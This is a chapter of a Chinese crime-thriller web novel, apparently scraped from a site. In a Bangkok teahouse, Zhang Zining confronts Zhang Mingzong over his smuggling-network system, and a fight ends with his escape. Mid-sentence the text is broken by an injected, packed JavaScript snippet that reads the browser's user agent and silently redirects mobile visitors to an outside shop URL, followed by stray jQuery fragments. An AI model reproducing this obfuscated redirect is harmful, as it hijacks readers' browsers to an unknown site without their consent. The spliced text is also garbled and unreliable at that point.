曼谷的下午闷热得让人透不过气。
茶室临街,有一个自带的院子。院子门口挂着半旧的布帘。院子里没别人,只有张姿宁坐在这里。在她面前还放着一杯凉透的普洱。
茶室外围全是她在曼谷的人手,还有一个是从觉辛那借来的,以防突发情况。军方其余的人手全被她安排在密支纳。
“大小姐,军方的人已经围住了03A。”微型耳机里传来自己人的声音。
张姿宁端起茶杯喝了一口。
紧跟着阿音的声音传来,“系统他登录了,位置就在茶室北面。”
随后,耳机里又传来她自己人的声音,“大小姐,茶室外有辆黑色轿车,引擎没熄,没下人,没开窗。”
她面色依旧,只是端起那杯凉茶抿了一口,然后放下。
“车牌能看到吗?”
“看不到。角度卡死了,正好被一棵树挡住。”那人顿了顿,“但您能猜到是谁。”
张姿宁垂着眼,看着杯底那几片舒展开的茶叶,然后从口袋里掏出手机,打了一行字,按下了发送键。
“来都来了,不进来坐坐?”
消息显示已读。没有回复。
她笑了一下,把手机扣在桌面上,向后靠进椅背里。她今天有的是时间跟他耗着。
大约过了三四分钟,布帘被掀开了。
张明宗走进来的时候,门框上挂着的风铃轻轻响了一声。他穿着一件浅灰色的亚麻衬衫,双手插兜,步伐走的松弛,手腕上那根红绳在张姿宁看来十分的扎眼。
他走到张姿宁对面坐下。他目光先扫过桌面那杯凉透的普洱,然后才落在张姿宁脸上。
张姿宁靠在椅背里,双手环胸,下巴微抬:“你该感谢你那套系统。要不是它让你藏在后面,你早就死了。你今天肯来,是因为你清楚,我们之间的事,得有个了结。”
张明宗嘴角极轻地弯了一下。
张姿宁盯着他的眼睛:“你把系统自毁,一切都好说。我保证你走得干净。”
张明宗迎上她的目光,丝毫不慌。他看了她片刻,才开口:“你把自毁说得那么简单。可你应该知道,那套系统在每个节点上自动运转,就算是我也没法让所有节点同时停。”
张姿宁冷笑一声:“你写的代码,你跟我说你关不掉?”
张明宗语气平淡:“代码是我写的。我当初写它的时候,就没给自己留后路。”
张姿宁嘴角挂着一抹没什么温度的笑意:“你觉得我会信吗?”
“你当然可以选择不信。”张明宗说,“你从来不信别人嘴里说出来的话。你只信自己查到的。”
他顿了顿,露出温和的笑意:“可你查到了吗?你身边那个小姑娘确实厉害,她能锁我的位置,不代表她能拆我的东西。而且我随时可以加固系统,让她再也锁不了我的位置。”
张姿宁眯着眼睛盯着他,没说话。
张明宗将目光从她脸上移开,他换了一个话题:“你知道我为什么创造那套系统吗?”
张姿宁皱起眉头,等着下文。
张明宗继续说:“我十四岁那年,在外公家得知我爸被人从林家带走。第二天晚上,有人告诉我他已经死了。”
他偏过头,重新看向张姿宁:“我见证过我爸的那套传统玩法。靠信任,靠人情,靠一条单线链条把人拴在一起。可信任是最容易碎的东西。所以我爸死了。”
“于是我决定换一种玩法。”张明宗极轻地笑了一声,“我让它们互相不知道彼此的存在。让信息变成孤岛,让系统自己运转,把人的不确定性降到最低。只要有一个人背叛,那套系统就能保护剩下的人。”
他说完这句话,院子里安静了许久。
张明宗把身体往后靠了靠,双手搭在扶手上,姿态松闲自在,目光却不偏不倚地锁着她:“所以,阿宁,你拿什么让我停手?”
他叫出那个名字的时候,语气一如既往地温柔,仿佛还跟从前一样,而密支纳那晚的枪声和白衬衫像是从未发生过。
张姿宁猛地皱眉,极其厌恶道:“别叫我阿宁。”
张明宗看着她,眼底有一瞬的波动,又迅速归于平静。
“你也别跟我提小时候。”张姿宁的声音压得很低,但每个字都咬得极重,“你做的那些事,到底是为了什么,你自己心里清楚。”
张明宗微微偏了偏头,目光在她脸上停留了几秒,然后他开口,声音依旧温和:“那你告诉我,我为了什么?”
“为了让我觉得你是张家唯一干净的人。”张姿宁说,“为了让我对你放下防备。”
她停顿一会儿,声音里那层压着的怒意终于浮上来:“你成功了。我确实没怀疑过你。”
张明宗安静地听完这番话,他垂下眼,视线落在手腕上的那根红绳。
过了一两秒,他抬眼看向她:“可我对你的好,是真的。”
“你怎么就知道那是真的?你自己分得清吗?”张姿宁一声声地质问。
院外有摩托车呼啸而过,风铃响了一下。张明宗就那样看着她,目光沉静而复杂。
“……我分不清。”他终于说。
张姿宁的手指猛地攥紧。
他还在用这种姿态跟她说话。温和、克制、好像他才是那个被逼到墙角的人。他明明握着那套系统,手底下还养着一整条链的白衬衫,可他坐在她对面的时候,还是那副“张明宗”的样子。
她恨他这副样子。
她倏地站起来,双手撑在桌面上,身体压低,隔着那张窄桌与他对视。
“张明宗,你听好了。”她的声音冷而快,“你要么让我死得心甘情愿,死得心服口服。要不然今天就是你死在这里。”
她的手已经摸向腰后的枪。
张明宗察觉到后,轻笑一声:“你杀了我,系统也不会停。”
她知道他说的对。她现在不能杀了他,那套信箱系统还在他手里,他死了系统依然会继续跑。她必须让他亲自关掉,或者把他带走逼问出系统的漏洞。
“我总有办法让你自己把系统关上。”
“是吗?”他盯着她放在腰后的手,“你就打算用那把枪让我低头?你以前从来不会用条件来跟我谈。你小时候想要什么,都是直接拿走的。”
“你现在长大了,学会跟人谈条件了。”张明宗的语气里听不出半点嘲讽,甚至带着一点温和,“可你来找我谈条件的时候,你心里清楚,我不会接受。”
这个时候,程木的声音从耳机那头传来:“颂帕我已经救出来了。”
张姿宁听后面不改色,随即冷笑一声,把手从腰后抽出来,将枪压在桌面。
“你以为你来曼谷,是你自愿的。”她说,“你以为我想跟你谈什么条件?”
张明宗视线落在她身上。
张姿宁拿起桌面上的手机,点开一张照片,然后把屏幕转过去,正对着他的脸。照片里是03A隧道出口北侧那片空地。
“你的人已经撤干净了,但隧道还在。”张姿宁说,“我让人把03A围了。北边三个出口,全封死了。你虽然坐在这,但你往金三角运人,总要运吧。我给你堵死了,你拿什么运?”
张明宗的目光在照片上停了一瞬,嘴角那点温和的笑意终于收敛起来。
“你围了03A。”他慢慢重复一遍,眉头跟着下压,眼里露出一丝诧异。那条线最近的确准备走一批货。
“不止。”张姿宁把手机收回来,又翻了一张照片,屏幕再次转向他。
这一张拍的是央光港北侧一间老仓库改的民房,画面里没有人,但门是敞开的。
张明宗看到这张照片的时候,目光一沉,脸上的笑意也褪的干净。
“颂帕和他妹妹,我已经让人接出来了。”张姿宁把手机扣在桌面上,“你关他的地方,我找到了。人我救走了,你知道这意味着什么。你的那张网,不再是铁板一块。”
张明宗的身体微微往后靠了靠。
“你确实比我想的有本事。”他说,“还能查到那条线运到哪里。”
张姿宁的目光直直地压着他,“那你就把系统关掉。不然你的货别想进入那条隧道。”
张明宗沉默了下来。随后他开口时,声音仍然温润,没带任何攻击性的语调:“你围了03A,没错。可你以为我就只有那一条线?”
张姿宁的眉毛微微动了一下。
“白衬衫在我手里跑了九年。你觉得这九年里,我只打通了一条隧道?”张明宗的目光依旧落在她脸上,嘴角那个弧度还在,可早已没了温度,“03A是你查到的第一条,但它不是最后一条。”
张姿宁的手指在桌面上缓缓攥紧。
张明宗看着她,语气淡漠:“颂帕你救走就救走了,我本来就没打算拿他威胁你。我如果真想用谁来逼你低头,我不会把他关在央光港北侧那种地方让你去找。”
张姿宁的目光骤然锐利起来。
“你故意的。”
“我故意把他放在那儿,让你以为你赢了一局。”张明宗说着,身体微微前倾,手肘撑在桌面上,离她近了几分,那张温和的脸上终于露出一层极淡的阴狠,“因为你需要赢一局,才能安心坐下来跟我谈。”
张姿宁闻言也不打算继续废话了。
“我不跟你谈条件。”她语气骤冷,“我今天必须带你走。”
她抄起桌面的枪,枪口稳稳地对准他的胸口,一步也没有退。张明宗坐在椅子上没有动,看了一眼枪口的位置,然后又抬眼看向她,嘴角仍挂着一抹笑意。
“你开枪,我死。你不开枪,我走。你选哪个?”
这话刚说完,他等了一会儿,见张姿宁没有开枪的意思。他显然知道了答案。系统是他的保命符,她不会开枪。他站起身来准备往外走。
“这里是我的地盘,你觉得你走得了?”
张明宗缓缓转身,将双手插兜,与她正面相对。
“我知道。”他说,“你觉得我会一个人来?”
“我不这么认为,所以我请你的人进来‘坐坐'。”张姿宁嘴角一弯,举着枪一步步逼近他。
张明宗眉头一蹙,眼里终于露出少见的狠。
“你还有埋伏。”张明宗说。
他目光微沉,视线越过张姿宁的肩头,扫了一眼茶室侧门的方向。那里安静得像什么都没有,可他知道自己安排在外围的人已经被切断联系。
张姿宁枪口纹丝不动,嘴角慢慢弯起来:“你以为只有这间茶室是我的地盘?我在这条街上住了快两年,哪怕街口卖芒果糯米饭的摊主都认得我。”
她举着枪往前逼近一步,“张明宗,你的确聪明,也懂人性。可你不该在我的地盘掉以轻心。”
张明宗垂眸看着越来越近的枪口,然后他扬起唇角,像认栽一样。他缓缓举起双手,手心朝外,姿态放松,带着几分示弱。可他那双盯着她的眼睛里,没有任何惧怕的意味,反而有一丝不清不明的愉悦。
他被她逼得一步步后退,直到后背轻轻靠上墙面。
“你赢了。”他偏了偏头,垂眸看她,字字清晰,“这次是我低估你了。”
张姿宁没有被他这句话骗到。她将枪口抵在他喉间,冷声问:“赵弘霖在哪?”
她的人已经控制住了张明宗带的人。但是少了那个最能打的。赵弘霖是军校出身,论智商论格斗论枪法,完全能突出重围。
张姿宁的枪口依然抵在张明宗喉间。她目光扫向茶室侧门方向。自己的人守住了所有入口,可是没有赵弘霖的影子。
“我再问一次,赵弘霖在哪。”
张明宗垂眸看着她,嘴角挂着一抹笑意,却始终没有开口。
他的沉默就是答案。赵弘霖不在他身边,他还在外围待命。
“大小姐。”耳机里传来她自己人的声音,带着几分急促,“茶室外五十米,有辆黑色
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17749551|207014||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
轿车正在靠近。”
赵弘霖果然来了。他一定是察觉到自己的人被切断联系,独自赶过来的。
“所有人,北侧......”张姿宁话音还没落下,茶室后厨方向传来一声闷响,紧接着是沉重的脚步声,有人踩着碎石快速逼近。
张姿宁来不及转头,一道黑影已经从后厨侧门冲了出来。赵弘霖的动作比她预想的快太多。他直直朝着她左肩撞过来。
张姿宁侧身闪避,同时调转枪口,可赵弘霖在她侧身的那一瞬已经贴了上来。他一只手攥住她的手腕,往下一压,枪口被迫朝下,张姿宁脚下一个错步,借着外力挣脱出他的控制范围。
她还没来得及重新站直,赵弘霖已经重新逼近,抬手劈向她后颈。张姿宁偏头躲过,可他的动作太连贯,变招快得像没有间隙,她不得不用小臂硬生生扛了第二下。那一击震得她半条手臂发麻,枪几乎握不住。
她退了两步,后背撞上茶室靠墙的架子。她抬眸看着赵弘霖,眼神阴沉。
赵弘霖没打算给她喘息的机会。他往前迈了一步,就在这时,茶室后门“砰”地一声被人从外面一脚踹开。一道灰色身影横切进来,肩胛骨硬生生撞上赵弘霖的肘关节,把他撞偏了方向。那人顺势旋身,一记低扫腿扫向赵弘霖下盘,逼得他后退半步,拉开了与张姿宁之间的距离。
张姿宁认出那件灰绿色战术夹克。觉辛的人,她带他来曼谷就是为了防赵弘霖。
那人扫了一眼赵弘霖的脸,目光停住,随后嘴角一咧。
“赵家少爷。”他的话语间带着一点看老熟人的语气,“你的手伸得太长了吧。”
赵弘霖的笑意微微收敛几分。他上下打量了来人一眼,认出了那张脸。央光军校那一届的格斗首席,后来被觉辛将军亲自要走,从此在地方部队里销声匿迹。他们曾经在校际对抗赛上交过手,赵弘霖输了他半招。
“觉辛将军的人?”赵弘霖的语调依然从容,随即嗤笑一声,“将军的手也伸得够长。”
“将军的事,你管不着。”来人往前跨了一步,挡在张姿宁与赵弘霖之间,“今天这间茶室,你进得来,就不一定能出去。”
那人话音刚落,几步上前,二人又一次近身缠斗。张姿宁借此机会正准备带走张明宗,刚迈了几步,侧门外又传来一阵引擎低沉的轰鸣声,不止一辆车。张姿宁的眉头极轻地皱了一下。赵弘霖还留了后手,他的人正在从外围包抄过来。
与此同时茶室北侧的布帘被人从外面掀开,几道人影鱼贯而入。赵弘霖带来的那些人从外围反向压了进来,把张姿宁安排在茶室周边的人逼到了死角。那几个人把张明宗围住,将他和张姿宁之间隔开。
赵弘霖和那人交手间,侧头看了一眼张明宗,示意他先走。
张明宗的目光越过赵弘霖的肩头,落在张姿宁脸上,最后又垂下去。他没有多说,转身朝侧门走去。
张姿宁的右臂被击后还在发麻,但她不可能眼睁睁看着他走出那扇门。她在他迈出门框的瞬间抬起了枪。枪口因右臂发麻导致精准度有偏差,但子弹还是从他的手臂上擦过,撕开一道口子。
张明宗的脚步顿了一下,猛地皱紧眉头,鲜血从衣袖底下流出来,沿着小臂淌到指尖。他只停了一瞬,便继续往外走去。
赵弘霖听见枪声迅速摆脱缠斗。他和那人拉开距离的同时,拔枪朝那人开了一枪,那人侧身躲过的间隙,他压低身形,从侧门快速退了出去。
张姿宁垂下手,枪口指向地面。她看着地上那道蜿蜒到门口的浅红色血线,随即把枪插回后腰。
张姿宁偏头对着耳机里说道:“给我继续追,他一定会去附近的医院。他跑不远。”
另一边,赵弘霖的车开出三条街才减速。
张明宗靠在后座,手臂的血已经浸湿小半截袖子,连座椅皮面也都染上色。他一只手按着伤口,脸上没什么血色,可神色一如既往地沉静。
赵弘霖从后视镜里看了他一眼:“忍着,马上有车接。”
张明宗“嗯”了一声,把脸转向车窗外。曼谷午后的阳光把街边的一切照得发白,明晃晃的,晃得人眼睛疼。
车在一处巷口停下,另一辆没挂牌照的黑色轿车已经等在那里。赵弘霖拉开车门,扶张明宗换过去,自己跟着坐进来。
司机启动车朝着巷子外驶去。
赵弘霖翻出医疗包。他的手指按在张明宗上臂伤口上方,止血带勒得又稳又紧。他用棉片蘸了碘伏快速清创,擦过那道擦伤边缘的皮肉时,张明宗眉头皱了一下,但没吭声。
“皮肉伤,没伤到骨头。”赵弘霖扫了一眼伤口深度,“但得缝针。先去医院。”
张明宗靠在座椅里,脸色白了几分,目光一直落在车窗外快速倒退的街景上。
赵弘霖收拾好一切,才偏头看他一眼:“你今天来,就为了让她打这一枪?”
张明宗轻笑一声,“这是迟早的事。如果我真走到了那一天,死在她手里也不错。”
赵弘霖的手上动作顿了一下,然后也没往下再问,转头让司机驶向最近的私立医院。
没过多久,车停在医院门口。
赵弘霖和张明宗先后下车往急诊去。
急诊室里消毒水的味道很重。赵弘霖站在帘子外面,等了一会儿。张明宗出来后,整条手臂裹着干净的纱布,他走到走廊尽头的窗前,把脸转向窗外。
赵弘霖跟过去,站在他身侧,声音压得很低:“你还要给她留路吗?”
张明宗听后低头,那根红绳还戴在手腕上,血液早已经将红绳的颜色染成了暗红。他解开绳结,把那根红绳取下来,攥在掌心里。
“不留。”他道。
这根红绳从去年她系在他手上的那刻起,他就从来没有取下来过,现在他把绳子放进包里。
他告诉自己这是为了彻底断了念想,可他心里清楚。他留着它,就像留着一颗随时可以吞下去的毒药。